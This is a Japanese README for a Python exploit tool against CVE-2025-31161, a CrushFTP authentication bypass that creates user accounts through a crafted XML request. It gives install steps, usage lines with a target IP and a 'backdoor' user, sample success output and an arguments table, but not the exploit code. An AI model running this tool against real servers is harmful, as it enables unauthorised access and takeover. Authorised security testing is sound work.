
🛡️ CVE-2025-31161 - CrushFTP ユーザー作成認証バイパスエクスプロイト

このPythonエクスプロイトは、CVE-2025-31161 の脆弱性がある CrushFTP サーバーを対象としています。この脆弱性により、細工されたXMLペイロードをWebInterfaceに送信することで認証なしでユーザーアカウントを作成でき、場合によってはサーバーの完全な乗っ取りにつながる可能性があります。
このツールは教育目的および許可されたセキュリティテスト専用です。
所有していない、または明示的なテスト許可がないシステムに対する不正使用は違法であり、非倫理的です。
requestscoloramaDebian/Ubuntu:
sudo apt update
sudo apt install python3 python3-pip -y
CentOS/RHEL:
sudo yum install python3 python3-pip -y
macOS(Homebrew使用):
brew install python3
pip3 install requests colorama
python3 CVE-2025-31161.py --target_host <TARGET_IP> [--port <PORT>] [--target_user <ADMIN>] [--new_user <USERNAME>] [--password <PASSWORD>]
python3 CVE-2025-31161.py --target_host 192.168.1.100 --new_user backdoor --password P@ssw0rd!
[+] Preparing Payloads
[-] Warming up the target...
[-] Target is up and running
[+] Sending Account Create Request
[!] User created successfully!
[+] Exploit Complete! You can now login with:
[*] Username: AuthBypassAccount
[*] Password: CorrectHorseBatteryStaple
Gaurav Bhattacharjee (G4UR4V007)
このプロジェクトは MITライセンス の下でライセンスされています。
| 引数 | 説明 | デフォルト値 |
|---|
--target_host | (必須) ターゲットのIPまたはドメイン | — |
--port | CrushFTP WebInterfaceのポート | 8080 |
--target_user | 管理者ユーザー名(ペイロード内で使用) | crushadmin |
--new_user | 新しい不正アカウントのユーザー名 | AuthBypassAccount |
--password | 新しいユーザーのパスワード | CorrectHorseBatteryStaple |